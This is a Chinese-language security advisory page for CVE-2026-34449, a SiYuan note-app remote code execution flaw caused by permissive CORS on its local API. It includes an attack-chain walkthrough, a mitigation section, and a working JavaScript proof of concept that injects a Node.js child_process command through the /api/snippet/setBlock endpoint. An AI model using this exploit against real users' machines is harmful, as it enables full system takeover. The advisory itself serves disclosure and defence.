IPBUF安全漏洞报告
English
CVE-2026-34449 CVSS 9.6 严重

CVE-2026-34449 SiYuan 远程代码执行漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34449
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SiYuan (思源笔记)

相关标签

RCECORSSiYuanElectron代码注入

漏洞概述

SiYuan(思源笔记)在3.6.2之前的版本中存在严重的远程代码执行漏洞。由于配置了过于宽松的CORS策略(允许任意源访问及私有网络请求),攻击者可诱导用户访问恶意网站。当用户在运行SiYuan时访问该网站,攻击者可通过API注入恶意JavaScript代码。该代码将在Electron的Node.js上下文中执行,从而获得完整的操作系统权限。该漏洞已在3.6.2版本中修复。

技术细节

该漏洞的核心在于SiYuan作为Electron应用,其本地API服务配置了不安全的CORS策略。具体而言,API响应头包含了`Access-Control-Allow-Origin: *`和`Access-Control-Allow-Private-Network: true`。这违反了浏览器的同源策略(SOP),允许公共互联网上的恶意网页向受害者本地的SiYuan服务(通常监听于localhost或私有网络)发起跨域请求。攻击者构造恶意网页,利用上述宽松策略,向SiYuan的API接口发送特制数据以注入JavaScript代码片段。由于SiYuan运行在Electron环境中,注入的JS代码将在Node.js上下文中解析执行,拥有与底层操作系统交互的完整权限(如读写文件、执行命令)。攻击者无需用户复杂交互,仅需用户在SiYuan运行时访问恶意链接即可完成攻击链。

攻击链分析

STEP 1
1. 攻击准备
攻击者创建一个包含恶意JavaScript代码的网站,该代码旨在向SiYuan的本地API发送请求。
STEP 2
2. 诱导访问
受害者的设备上正在运行SiYuan(版本<3.6.2),攻击者诱使受害者访问恶意网站。
STEP 3
3. 跨域请求
恶意网站利用SiYuan宽松的CORS策略(Access-Control-Allow-Origin: *),绕过同源策略限制,向本地SiYuan API发起HTTP请求。
STEP 4
4. 代码注入
SiYuan API处理恶意请求,将攻击者提供的JavaScript代码片段注入到应用程序中。
STEP 5
5. 执行与控制
当用户下次打开SiYuan UI或触发特定条件时,注入的代码在Electron的Node.js上下文中执行,攻击者获得系统完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-34449: SiYuan RCE via CORS --> <script> // Target the local SiYuan instance // Note: Default port is usually 6806 const target = 'http://127.0.0.1:6806/api/snippet/setBlock'; // Malicious payload to execute OS commands via Node.js context const payload = { // The specific key depends on the vulnerable API endpoint "dataType": "javascript", "content": "require('child_process').exec('calc.exe');" }; // Exploit the permissive CORS headers to send the request fetch(target, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(response => console.log('Payload sent successfully')) .catch(error => console.error('Exploit failed:', error)); </script>

影响范围

SiYuan < 3.6.2

防御指南

临时缓解措施
建议用户立即将SiYuan升级至3.6.2或更高版本。在未升级前,避免在运行SiYuan时浏览不可信的网站,或在防火墙中限制SiYuan本地端口的出站/入站访问(尽管主要风险在于本地API被外部网页调用,断网可防护但影响使用)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表